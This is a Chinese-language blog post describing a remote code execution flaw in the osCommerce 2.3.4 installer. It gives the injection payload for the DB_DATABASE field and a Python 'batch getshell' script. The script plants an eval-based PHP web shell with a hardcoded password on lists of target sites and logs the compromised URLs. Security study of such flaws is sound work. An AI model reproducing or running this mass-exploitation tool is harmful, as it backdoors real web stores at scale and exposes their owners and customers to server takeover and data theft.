0x01 前言
好几天没有写了,前两天又去Boom了,差点没缓过来。今天在exploit-db逛看到一个洞,也是install的地方,想去利用上次那个远程数据库技巧来尝试下,发现这个洞根本用不到,不过新手可以学习下哈,也可以收藏下,因为有时候在ctf线下赛的时候官方会拿一些国外的程序给你玩,最近也在写python的漏洞利用工具,欢迎关注我的github。
0x02 环境
程序源码下载:https://www.exploit-db.com/apps/ce2796b352d6e0fb4e9f03866ae98541-oscommerce-2.3.4.zip Web环境:Windows 10+Apache2+PHP5.6+MySQL
0x03 漏洞利用过程
1.我们先正常安装这个程序
2.执行我们的payload
GET:http://127.0.0.1/oscommerce/install/install.php?step=4
POST:DIR_FS_DOCUMENT_ROOT=./&DB_DATABASE=');phpinfo();/*
3.访问写入代码的文件
GET:http://127.0.0.1/oscommerce/install/includes/configure.php
写入的内容:
0x04 漏洞代码分析过程
漏洞文件出现的位置是:\install\templates\pages\install_4.php
说起这个国外写的程序还没我们国内的严谨,安装完没有写入install.lock或者像Joomla(最近正在写)一样强制让客户删除安装文件。
直接看代码吧,过程也不算太复杂。这里用到了PHP以下的函数$HTTP_POST_VARS
这个函数类似与PHP4及以上的$_POST
。这里是接收参数的地方。
最重要还是这里,因为如果没有传入DIR_FS_DOCUMENT_ROOT
的话下面写入文件就无法进行了。
0x05 Payload构造
DIR_FS_DOCUMENT_ROOT
是必须的了,让它等于根目录./就行了。
写入恶意代码就用DB_DATABASE
吧,我们先用闭合');
前面,然后再写入phpinfo();,后面它会自动加上’);,exploit-db上面是直接加上/*注释掉的,因为这个程序很奇怪,先一遍在install的配置文件,然后再写到程序里面的配置文件,所以就不会顾虑网站会崩的问题了。
payload:
post 模式DIR_FS_DOCUMENT_ROOT=./&DB_DATABASE=');phpinfo();/*
0x06 用Python编写批量getshell脚本
我觉得你们应该读得懂这个代码吧,如果有需要的话我以后会把这里面的流程解释一遍。
#!/usr/bin/env
#author:F0rmat
import sys
import requests
import threading
def exploit(target):
if sys.argv[1]== "-f":
target=target[0]
url1=target+"/install/install.php?step=4"
data={
'DIR_FS_DOCUMENT_ROOT': './',
'DB_DATABASE':"\');@eval($_POST['f0rmat']);echo 'F0rmat';/*"
}
url2=target+"install/includes/configure.php"
try:
requests.post(url1,data=data)
verify = requests.get(url2, timeout=3)
if "F0rmat" in verify.content:
print 'Write success,shell url:',url2,'pass:f0rmat'
with open("success.txt","a+") as f:
f.write(url2+' pass:f0rmat'+"\n")
else:
print target,'Write failure!'
except Exception, e:
print e
def main():
if len(sys.argv)<3:
print 'python osCommerce_rce.py -h target/-f target-file '
else:
if sys.argv[1] == "-h":
exploit(sys.argv[2])
elif sys.argv[1] == "-f":
with open(sys.argv[2], "r") as f:
b = f.readlines()
for i in xrange(len(b)):
if not b[i] == "\n":
threading.Thread(target=exploit, args=(b[i].split(),)).start()
if __name__ == '__main__':
main()
0x08 结束
这个洞确实有点简单了哈哈。
0x09 参考
https://www.exploit-db.com/exploits/44374/ https://github.com/F0r3at/Python-Tools
- 原文作者: F0rmat
- 原文链接: https://xxe.icu/oscommerce-2.3.4.1-remote-code-execution-vulnerability.html
- 版权声明:本作品采用 署名 - 非商业性使用 4.0 国际 (CC BY-NC 4.0)进行许可,非商业转载请注明出处(作者,原文链接),商业转载请联系作者获得授权。